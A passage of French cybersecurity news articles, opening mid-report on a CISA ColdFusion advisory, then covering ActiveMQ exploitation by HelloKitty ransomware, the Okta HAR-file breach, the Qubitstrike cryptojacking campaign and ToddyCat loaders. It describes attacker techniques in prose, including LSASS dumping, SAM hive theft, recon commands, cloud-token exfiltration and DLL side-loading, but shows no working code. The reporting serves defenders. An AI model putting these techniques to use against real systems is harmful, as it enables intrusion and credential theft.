ColdFusion enregistre les mots de passe sous forme cryptée avec une valeur d’amorçage codée en dur dans ColdFusion 8, mais elle est unique pour chaque installation dans les versions ultérieures. « Un acteur qui contrôle le serveur de base de données peut utiliser ces valeurs pour décrypter les mots de passe des sources de données dans ColdFusion version 8 ou antérieure », a expliqué la CISA. « Les serveurs de la victime utilisaient une version plus récente au moment de la compromission, si bien que le code malveillant n’a pas réussi à décrypter les mots de passe en utilisant la valeur d’amorçage codée en dur par défaut pour les anciennes versions. Les attaquants à l’origine du second incident semblent avoir été plus habiles et ont utilisé des tactiques de reconnaissance plus avancées. Ils ont dénombré les domaines de confiance à l’aide des commandes nltest et ont recueilli des informations sur les comptes administrateurs locaux et de domaine à l’aide de commandes telles que localgroup, net user, net user /domain et ID. Ils ont également tenté de découvrir la configuration du réseau, les journaux temporels et les informations sur les utilisateurs.
Des changements de tactiques en cas de blocage
Selon la CISA, ils ont tenté de copier et d’exfiltrer des ruches de registre système telles que HKEY_LOCAL_MACHINE (HKLM) et le Security Account Manager (SAM), mais l’activité a été détectée et bloquée. « Le fichier de registre SAM donne aux acteurs malveillants la capacité d’obtenir des noms d’utilisateur et de trouver les mots de passe par rétro-ingénierie, mais, aucun artefact n’était disponible pour confirmer que les acteurs de la menace avaient réussi à exfiltrer la ruche de registre SAM », a déclaré l’agence. Les pirates ont aussi vidé la mémoire du service LSASS (Local Security Authority Subsystem Service), qui contient généralement les identifiants NTLM des comptes utilisateurs utilisés sur le système, y compris les identifiants désactivés qui pourraient encore être valides sur d’autres systèmes.
En voyant que certaines de leurs tentatives étaient bloquées, ils ont changé de tactique en essayant de vider le registre à l’aide d’outils de sécurité présents sur le système. Ils ont également essayé d’accéder à l’ensemble de fichiers et de dossiers SYSVOL sur un contrôleur de domaine, un outil utilisé pour fournir des scripts de stratégie et de connexion aux membres du domaine. En ce qui concerne les techniques de post-compromission spécifiques à ColdFusion, les attaquants ont accédé au fichier seed.properties de ColdFusion, qui sert à stocker la graine unique utilisée pour chiffrer les mots de passe. L’avis de la CISA contient des indicateurs de compromission ainsi que des tactiques, techniques et procédures (Tactics, Techniques and Procedures, TTP) qui pourraient aider les entreprises à développer des mécanismes de détection pour des attaques similaires contre des déploiements de ColdFusion. L’agence fournit aussi des instructions pour atténuer les effets de l’attaque, qui vont de la mise à jour du logiciel à la segmentation du réseau, en passant par les politiques de contrôle des applications et les autorisations de comptes et de fichiers.
Un groupe de cybercriminels s’appuie sur une faille critique dans le gestionnaire de message ActiveMQ pour installer le ransomware HelloKitty. Une mise à jour de la solution corrigeant la vulnérabilité est disponible.
Des attaquants ont commencé à exploiter une vulnérabilité provoquant une exécution de code à distance (RCE) dans Apache ActiveMQ, un gestionnaire open source de message Java. La faille critique a été identifiée par les équipes de Rapid7 « dans deux environnements clients différents ». Et « dans les deux cas, l’attaquant a tenté de déployer des binaires de ransomware sur les systèmes cibles afin de demander une rançon aux victimes ».
Sur la base de la demande de rançon et d’autres détails de l’attaque, Rapid7 pense que les cybercriminels ont déployé le ransomware HelloKitty. Le code source de ce dernier a été divulgué sur des forums clandestins au début du mois.
Une faille dans la désérialisation Java
Le mois dernier, les développeurs d’ActiveMQ ont découvert une brèche critique dans la solution open source d’échange de messages Java. Pour mémoire, ce service prend en charge plusieurs protocoles de transmission pour transférer des messages et des données entre différentes applications et clients écrits dans différents langages de programmation. Il s’agit d’un intergiciel populaire utilisé dans le développement de solutions logicielles d’entreprise.
La vulnérabilité CVE-2023-46604 (corrigée le 25 octobre dernier) a été analysée par des chercheurs en sécurité et des PoC d’exploit ont été élaborés. « La faille peut permettre à un attaquant distant disposant d’un accès réseau à un broker d’exécuter des commandes shell arbitraires en manipulant les types de classe sérialisés dans le protocole OpenWire pour amener le broker à instancier n’importe quelle classe de chemin d’accès (classpath) ». Selon Rapid7, le bug provient d’une désérialisation non sécurisée. La sérialisation consiste à transformer un objet applicatif en un format de données pouvant être restauré ultérieurement. Ce procédé est utilisé pour sauvegarder des objets ou les envoyer dans le cadre de communications. La désérialisation est le processus inverse. La désérialisation Java est une catégorie de vulnérabilités à part entière qui a gagné en popularité ces dernières années, de nombreux projets étant affectés par de telles failles.
Une amélioration de HelloKitty ou un copycat
Apparu en 2020, le ransomware HelloKitty a été très médiatisé après l’attaque du studio de jeux vidéo CD Projekt Red (éditeur de Cyberpunk 2077) en février 2021. Le FBI avait alors émis un avis sur les indicateurs de compromissions pour les campagnes utilisant ce rançongiciel, également connu sous le nom de FiveHands. Mais au début octobre 2023, une archive contenant le code source complet du ransomware HelloKitty a été publiée sur un forum. Dans une note, l’auteur, qui pourrait être le créateur original, indiquait que le groupe travaillait sur un autre ransomware plus performant et que l’actuel était considéré comme dépassé.
Il est difficile de dire si les attaquants qui exploitent actuellement la CVE-2023-46604 font partie de la bande d’origine ou s’ils ont adopté le programme après sa publication. Les chercheurs de Rapid7 ont noté que les cybercriminels semblaient maladroits, échouant à plusieurs reprises à chiffrer des actifs dans l’une des attaques, ce qui laisserait à penser qu’ils sont encore en phase d’apprentissage. Les experts conseillent aux utilisateurs de mettre à jour le plus rapidement possible ActiveMQ comprenant le correctif.
Grâce à l’authentification multi-facteurs, une faille de sécurité chez Okta a pu être détectée et bloquée avant qu’elle ne permette aux attaquants d’accéder au système.
Le fournisseur en solutions de gestion des identités et des accès Okta a dernièrement indiqué que « des attaquants ont réussi à pénétrer dans son système de support en utilisant des identifiants volés et en extrayant des jetons de session client valides à partir de fichiers de support téléchargés ». Mais les politiques d’authentification multifactorielle (MFA) appliquées par l’un de ses clients ont permis de détecter l’accès non autorisé, de le bloquer et de signaler la violation à Okta. « Dans le cadre des activités normales, le support Okta demande aux clients de télécharger un fichier d’archive HTTP (HAR) qui aide à résoudre les problèmes en reproduisant l’activité du navigateur », a expliqué dans un billet de blog David Bradbury, responsable de la sécurité chez Okta. « Les fichiers HAR contiennent parfois des données sensibles, notamment des cookies et des jetons de session, que des acteurs malveillants peuvent utiliser pour se faire passer pour des utilisateurs valides », a-t-il ajouté. L’incident a été découvert par des ingénieurs en sécurité de BeyondTrust, un fournisseur de solutions de sécurité des identités et des accès, dont le compte administrateur Okta interne a été détourné. Les contrôles de politique mis en place par l’équipe de sécurité de l’entreprise ont bloqué une tentative d’authentification suspecte provenant d’une adresse IP en Malaisie.
L’attaquant invité à s’authentifier par MFA
Dans l’environnement Okta, la politique de BeyondTrust n’autorisait l’accès à la console d’administration Okta qu’à partir d’appareils gérés sur lesquels avait été installée Okta Verify, une application d’authentification multifactorielle développée par Okta. Dans le cadre de cette politique, l’attaquant a été invité à s’authentifier par MFA quand il a essayé d’accéder à la console d’administration, même si le jeton qu’il avait volé lui avait fourni une session valide. « Il est important que les clients d’Okta améliorent leurs politiques de sécurité en s’appuyant sur certains paramètres, par exemple, en invitant des utilisateurs avec des privilèges d’administration à s’authentifier par MFA à chaque connexion », a déclaré l’équipe de sécurité de BeyondTrust dans un bulletin. « Même si l’attaquant a détourné une session existante, Okta considère toujours l’accès au tableau de bord comme une nouvelle ouverture de session et demande l’autorisation d’ouvrir une session MFA. En outre, le compte administrateur de BeyondTrust a été configuré pour s’authentifier à l’aide d’un dispositif compatible avec la norme d’authentification sans mot de passe FIDO2 qui utilise la cryptographie à clé publique pour valider les utilisateurs, une option beaucoup plus sûre que les implémentations basées sur les SMS, vulnérables à des attaques basées sur l’échange de cartes SIM et d’autres techniques man-in-the-middle. Cette précaution a permis à BeyondTrust de comprendre rapidement que le vol du jeton de session n’avait pas eu lieu en interne et que Okta pouvait être à l’origine de la faille. De plus, l’authentification non autorisée s’est produite 30 minutes après que l’administrateur de BeyondTrust a téléchargé un fichier HAR vers le système de support d’Okta dans le cadre d’une demande de dépannage. Les fichiers HAR sont des enregistrements du navigateur utilisés par l’ingénieur du support pour reproduire les actions de l’utilisateur.
Des identifiants volés à l’origine de la faille
L’attaquant n’ayant pas réussi à accéder au tableau de bord d’administration d’Okta, il a décidé d’accéder au compte via l’API d’Okta de façon à créer un faux compte de service dénommé svc_network_backup. « Il est possible d’utiliser les cookies de session pour s’authentifier auprès de l’API officielle d’Okta qui, très souvent, ne sont pas soumis aux restrictions de politique qui s’appliquent à la console d’administration interactive », a mis en garde l’équipe de sécurité de BeyondTrust. « L’attaquant a agi rapidement, mais nos détections et nos réponses ont été immédiates, désactivant le compte et atténuant toute exposition potentielle ».
BeyondTrust a fait part de ses soupçons à Okta, qui a ensuite remonté la piste de la violation jusqu’aux identifiants volés qui donnaient l’accès nécessaire pour consulter les dossiers des clients dans les tickets d’assistance. Le fournisseur a indiqué qu’elle avait notifié tous les clients potentiellement concernés et révoqué tous les jetons de session intégrés dans les fichiers. Il conseille aux clients d’inspecter les cookies et les jetons de session des fichiers HAR avant de les télécharger et d’examiner les journaux de leur système Okta à la recherche de toute session suspecte. Dans son avis, l’entreprise fournit la liste des adresses IP utilisées par les attaquants pour accéder aux comptes des clients, associées en majorité à des services VPN commerciaux. Cloudflare, également touché par cet incident, a pu détecter et bloquer l’utilisation abusive de ses identifiants Okta avant que le fournisseur ne découvre la brèche. L’entreprise recommande vivement aux clients d’Okta de mettre en place un système MFA basé sur le matériel. « Les mots de passe seuls n’offrent pas le niveau de protection nécessaire contre les attaques », a indiqué Cloudflare dans son rapport. « Nous recommandons fortement l’utilisation de clés matérielles, car les autres méthodes de MFA peuvent être vulnérables aux attaques de phishing », a ajouté l’entreprise. « Il faut enquêter et répondre à tous les changements inattendus de mot de passe et de MFA de ses instances Okta et les événements suspects initiés par le support », a aussi conseillé Cloudflare. « Assurez-vous que toutes les réinitialisations de mot de passe sont valides et forcez une réinitialisation de mot de passe pour toute personne suspecte et assurez-vous que la configuration du compte de l’utilisateur ne contient que des clés MFA valides », a encore préconisé le fournisseur.
Des chercheurs de Cado Security ont détecté des instances cloud Jupyter Notebook ciblées par le malware de cryptojacking Qubitstrike utilisant un serveur Discord détourné par des pirates. Sa capacité de persistance apparait problématique.
La campagne d’attaque découverte par des chercheurs de Cado Security, une entreprise spécialisée dans l’investigation du cloud et la réponse aux incidents, compromet les instances Jupyter Notebook et déploie un logiciel malveillant de cryptojacking. Cette opération malveillante utilise un serveur Discord à des fins de C&C (command and control) et du vol d’identifiants AWS et Google Cloud sur des serveurs compromis. « Relativement sophistiquée, la campagne de logiciels malveillants Qubitstrike se concentre particulièrement sur l’exploitation des services cloud », ont expliqué les chercheurs dans leur rapport. « Les instances Jupyter Notebooks sont couramment déployées dans les environnements cloud, chez des fournisseurs comme Google et AWS qui les proposent en tant que services managés ». Jupyter Notebook est une plateforme informatique dynamique basée sur le web qui prend en charge plus de 40 langages de programmation et est utilisée pour la visualisation de données, l’apprentissage machine, les transformations de données, les simulations numériques, la modélisation statistique et la gestion de divers autres résultats de calcul. Il s’agit d’une application open source qui peut être déployée sur des serveurs et a été utilisée comme point d’entrée pour d’autres campagnes d’attaques basées sur le cloud au cours de l’année écoulée, car elle expose des fonctionnalités puissantes, notamment l’exécution de commandes.
Cado Security a pu voir les attaquants de Qubitstrike se connecter à ses honeypots Jupyter Notebook volontairement non protégés et tirer parti de la fonction d’accès au terminal pour ouvrir une interface de ligne de commande Bash. Mais aussi exécuter manuellement une série de commandes de reconnaissance pour collecter des informations sur le processeur du système, l’utilisateur actuellement connecté, et voir si l’accès root était disponible via la commande su et si l’outil curl était installé. À la fin de cette première, ils ont exécuté une commande codée en base64 utilisant curl pour télécharger un script Bash appelé mi.sh à partir d’un compte sur codeberg.org, une plateforme d’hébergement Git similaire à GitHub. Enfin, le script a été enregistré dans un dossier temporaire, puis exécuté et finalement supprimé.
Un malware configuré pour persister
Le script mi.sh configure le système pour le déploiement d’outils supplémentaires, en particulier une version du programme de minage de crypto-monnaie XMRig. Dans un premier temps, le script renomme les utilitaires curl et wget dans le système pour éviter de déclencher des détections système. Il analyse également les processus en cours d’exécution à la recherche de cryptomineurs concurrents et les supprime, ainsi que les connexions à une liste codée en dur d’adresses IP associées à des opérations de minage de cryptomonnaies. Le script supprime aussi divers journaux système et met en place une persistance sur le système en enregistrant plusieurs tâches cron et en ajoutant la clé SSH de l’attaquant au système. Plus important encore, il télécharge et déploie un rootkit appelé Diamorphine. Ce rootkit fonctionne comme un module de noyau chargé avec la commande insmod et dont le but est de cacher les processus de l’attaquant sur le système.
Si la commande insmod échoue, les attaquants compilent Diamorphine à partir des sources sous la forme d’un fichier Linux Shared Object, puis utilisent la technique LD Preload pour l’enregistrer auprès de l’éditeur de liens dynamiques, ce qui entraîne l’exécution du fichier malveillant chaque fois qu’un nouvel exécutable est lancé sur le système. « Le rootkit Diamorphine est bien connu dans les milieux des logiciels malveillants Linux. Il a été observé dans les campagnes de TeamTNT et, plus récemment, de Kiss-a-dog », ont déclaré les chercheurs de Cado. « La compilation du logiciel malveillant à la livraison est courante et est utilisée pour échapper aux EDR et à d’autres mécanismes de détection. Enfin, le script mi.sh recherche dans les répertoires locaux des jetons d’accès à AWS et Google Cloud et exfiltre tous ceux qui sont trouvés vers un groupe Telegram. Les chercheurs de Cado ont intentionnellement placé un jeton AWS sur leur système honeypot et ont immédiatement observé une tentative d’utilisation du jeton pour accéder au compte AWS associé. Qubitstrike agit également comme un travail SSH, le script essayant de se connecter à toutes les adresses IP répertoriées dans le fichier hosts SSH du système et tentant de leur envoyer le script mi.sh.
D’autres implants découverts dans le dépôt Codeberg
En enquêtant sur le dépôt Codeberg qui hébergeait le script mi.sh, les chercheurs ont découvert d’autres scripts et charges utiles, notamment un implant écrit en Python, appelé kdfs.py. Une fois exécuté sur un système, cet implant agit comme un bot qui rejoint un serveur et un canal Discord et attend des commandes. Il permet également de télécharger et d’envoyer des fichiers par l’intermédiaire de la fonction d’attachement de Discord. Le nom du serveur utilisé est « NETShadow » et le canal sur lequel le bot se connecte s’appelle « victims » », ont encore expliqué les chercheurs. « Le serveur disposait aussi d’un autre canal intitulé « ssh ». Cependant, il était vide. Tous les canaux ont été créés exactement à la même heure, le 2 septembre 2023, ce qui suggère que le processus de création a été automatisé. Le nom d’utilisateur du bot est Qubitstrike (d’où le nom que nous avons choisi de donner au logiciel malveillant) ».
Les chercheurs de Cado supposent que le fichier kdfs.py pourrait être exécuté sur certains systèmes avant d’être utilisé pour déployer mi.sh. Toutefois, le bot kdfs.py n’a jamais été déployé sur le système honeypot. Si l’objectif final de l’attaque était de déployer un mineur XMRig sur les systèmes compromis, l’accès des attaquants n’est évidemment pas limité à cela et ils pourraient également adopter d’autres tactiques. « Cado conseille vivement aux lecteurs qui déploient des carnets Jupyter de vérifier la sécurité des serveurs Jupyter eux-mêmes, en accordant une attention particulière aux configurations des pare-feux et des groupes de sécurité », ont déclaré les chercheurs. « Idéalement, les notebooks ne devraient pas être exposés à l’Internet public. S’il est nécessaire de les exposer, il faut s’assurer que l’authentification pour ces notebooks n’a pas été activée ».
Les dernières campagnes de cyber-espionnage du groupe malveillant chinois ToddyCat contre des entreprises asiatiques et européennes utilisent des outils et des tactiques affinées pour améliorer la persistance de ses attaques.
Des chercheurs alertent contre les dernières attaques d’un acteur APT chinois connu dans l’industrie sous le nom de ToddyCat, ciblant des entreprises de premier plan. Depuis 2020, date à laquelle il a été découvert, le groupe a affiné ses tactiques et étoffé sa panoplie de logiciels malveillants. Dans un dernier article publié la semaine dernière, des chercheurs de l’entreprise de sécurité Check Point Software Technologies livrent des détails sur cette campagne baptisée « Stayin’ Alive », contre des entreprises de pays asiatiques, principalement dans les secteurs des télécommunications et de l’administration. « La campagne Stayin’ Alive se compose essentiellement de téléchargeurs et de chargeurs, dont certains sont utilisés comme vecteur d’infection initial contre des entreprises asiatiques de premier plan », ont déclaré les chercheurs de Check Point. « Le premier téléchargeur appelé CurKeep, ciblait le Vietnam, l’Ouzbékistan et le Kazakhstan. À mesure de notre analyse, nous avons réalisé que cette campagne faisait partie d’une offensive beaucoup plus large visant la région », ont ajouté les chercheurs.
Dans un autre rapport publié la semaine dernière, les chercheurs de Kaspersky Lab évoquent aussi une autre génération de chargeurs de malware utilisés par ToddyCat lors de récentes attaques, dont certains semblent être adaptés à chaque victime. Ils ont découvert les activités du groupe à la fin de l’année 2020, après une campagne ciblant déjà des entreprises asiatiques et européennes de premier plan.
Le DLL side-loading, technique d’attaque favorite de ToddyCat
L’une des techniques préférées de ToddyCat pour déployer des malwares sur les ordinateurs est appelée « DLL side-loading » ou chargement latéral de DLL. Elle consiste à trouver un exécutable légitime à partir d’une application qui recherche un fichier DLL particulier dans le même répertoire, puis à remplacer celle-ci par une version piégée. Étant donné que le fichier exécuté à l’origine appartient à une application ou à un service légitime, il est susceptible d’être signé numériquement et inscrit sur la liste blanche de certains produits de sécurité. Les attaquants espèrent ainsi que le chargement ultérieur d’une DLL malveillante par un exécutable légitime ne sera pas détecté ou bloqué. Par le passé, ToddyCat a exploité des vulnérabilités dans des serveurs Microsoft Exchange exposés publiquement, mais il diffuse également des logiciels malveillants par le biais de courriels de spear-phishing (ou hameçonnage ciblé) auxquels sont jointes des archives malveillantes. Ces archives contiennent des exécutables légitimes ainsi que des DLL malveillantes chargées latéralement.
Selon Check Point, l’une des applications exploitées dans les attaques récentes s’appelle Dante Discovery de l’éditeur Audinate. Dans une attaque de spear-phishing contre un opérateur de télécommunications vietnamien, les attaquants ont envoyé une archive contenant l’exécutable de Dante Discovery nommé mDNSResponder.exe ainsi qu’une DLL latérale frauduleuse nommée dal_keepalives.dll que le logiciel recherche. Le faux dal_keepalives.dll est un simple chargeur de malware qui sert à mettre en place une persistance en copiant le fichier combo dans le dossier Application Data et en configurant une tâche planifiée appelée AppleNotifyService pour continuer à l’exécuter. Le chargeur est utilisé pour exécuter une porte dérobée simple que Check Point a appelé « CurKeep ». « La logique de la charge utile principale CurKeep consiste en trois fonctionnalités principales : report, shell et file », ont expliqué les chercheurs. « Chacune d’entre elles est affectée à un type de message différent envoyé au serveur de commande et de contrôle C&C. Quand elle est exécutée, la charge utile lance d’abord la fonctionnalité de rapport, envoyant des informations de reconnaissance de base au serveur C&C. Elle crée ensuite deux threads distincts qui envoient des informations de reconnaissance de base au serveur C&C. Elle crée ensuite deux threads distincts qui exécutent de manière répétée les fonctionnalités shell et file ». La fonctionnalité shell est utilisée pour exécuter à distance des commandes shell sur la machine, et la fonctionnalité file télécharge des fichiers sur le disque qui seront ensuite exécutés. Parallèlement, les chercheurs de Kaspersky ont signalé des tactiques similaires de chargement latéral tirant parti de vlc.exe, un lecteur vidéo open source populaire, avec un fichier d’accompagnement frauduleux appelé playlist.dat, ou des chargeurs de malwares sous la forme de fichiers DLL directement téléchargés avec l’utilitaire Windows rundll32.exe.
Une inédite boite-à-outils post-exploitation
Les chargeurs observés par Kaspersky ont servi pour récupérer un programme Trojan appelé Ninja que ToddyCat utilise depuis 2020 et que les experts décrivent comme un « logiciel malveillant sophistiqué écrit en C++, faisant probablement partie d’une boîte à outils inconnue de post-exploitation ». Le cheval de Troie peut décompter et tuer les processus en cours, gérer les fichiers système, ouvrir des sessions reverse shell, injecter du code dans des processus arbitraires, charger des modules supplémentaires pour étendre les fonctionnalités et mettre en place un proxy pour communiquer avec le serveur de commande et de contrôle. Les chargeurs de logiciels malveillants trouvés par Kaspersky étaient différents et proposaient des techniques persistantes différentes impliquant des clés de registre et la mise en place de services système. En fait, certaines variantes de ces chargeurs semblaient conçues pour les victimes utilisant le GUID de l’ordinateur comme clé de chiffrement pour leurs charges utiles ultérieures.
En enquêtant sur l’infrastructure de ToddyCat, Check Point a également détecté d’autres chargeurs. L’un d’entre eux, baptisé « CurLu Loader », est déployé à l’aide d’une DLL chargée latéralement, appelée bdch.dll. Ce chargeur a été utilisé pour déployer une charge utile se faisant passer pour un fichier image, qui à son tour a utilisé le DLL side-loading exploitant mscoree.dll pour déployer une autre porte dérobée baptisée « CurCore ». Check Point a aussi découvert deux autres chargeurs appelés « StylerServ » et « CurLog », utilisant chacun des techniques de déploiement différentes. CurLog a été distribué avec des leurres à la fois sous forme d’exécutable et sous forme de DLL, tandis que StylerServ semble être un chargeur secondaire qui fonctionne comme un auditeur passif et qui est déployé par une ancienne variante de CurLu. Au total, ToddyCat semble utiliser divers chargeurs de logiciels malveillants personnalisés et de portes dérobées distribués de multiples façons, mais en s’appuyant souvent sur la technique du DLL side-loading.
D’autres outils malveillants détectés
Les chercheurs de Kaspersky ont également répertorié d’autres outils que le groupe a utilisés dans ses opérations, en plus des chargeurs, des portes dérobées et du cheval de Troie Ninja. L’un d’entre eux, appelé « LoFiSe », sert à trouver et à collecter des fichiers intéressants sur les systèmes infectés. « Le nom LoFiSe vient du nom du mécanisme d’exclusion mutuelle, ou mutex, utilisé par cet outil (MicrosoftLocalFileService) », ont expliqué les analystes. « L’outil lui-même est un fichier DLL nommé DsNcDiag.dll exécuté à l’aide de la technique de chargement latéral de DLL. Parmi les autres outils figurent des téléchargeurs pour DropBox et Microsoft OneDrive qui sont utilisés pour exfiltrer des fichiers, une porte dérobée UDP (User Datagram Protocol) passive qui reçoit des commandes par le biais de paquets UDP et Cobalt Strike, un framework commercial de test de pénétration particulièrement apprécié des pirates.
« Les dernières découvertes confirment que ToddyCat attaque sa cible pour mener des activités d’espionnage », ont déclaré les chercheurs. « Pour atteindre cet objectif, l’attaquant pénètre dans les réseaux d’entreprise à l’aide d’outils comme les chargeurs et chevaux de Troie décrits ci-dessus. Une fois qu’il a pris pied, il commence à collecter des informations sur les hôtes connectés au même réseau afin de trouver des cibles susceptibles de contenir des fichiers intéressants. Le groupe effectue des activités de découverte, dénombre les comptes de domaine et les serveurs DC en utilisant des utilitaires d’administration de système d’exploitation standard ». Une fois que d’autres systèmes ont été identifiés, les attaquants utilisent des identifiants d’administrateur de domaine volés pour monter des lecteurs réseau, exécuter des scripts et mettre en place des tâches planifiées sur les systèmes ciblés afin de trouver et d’exfiltrer des documents.





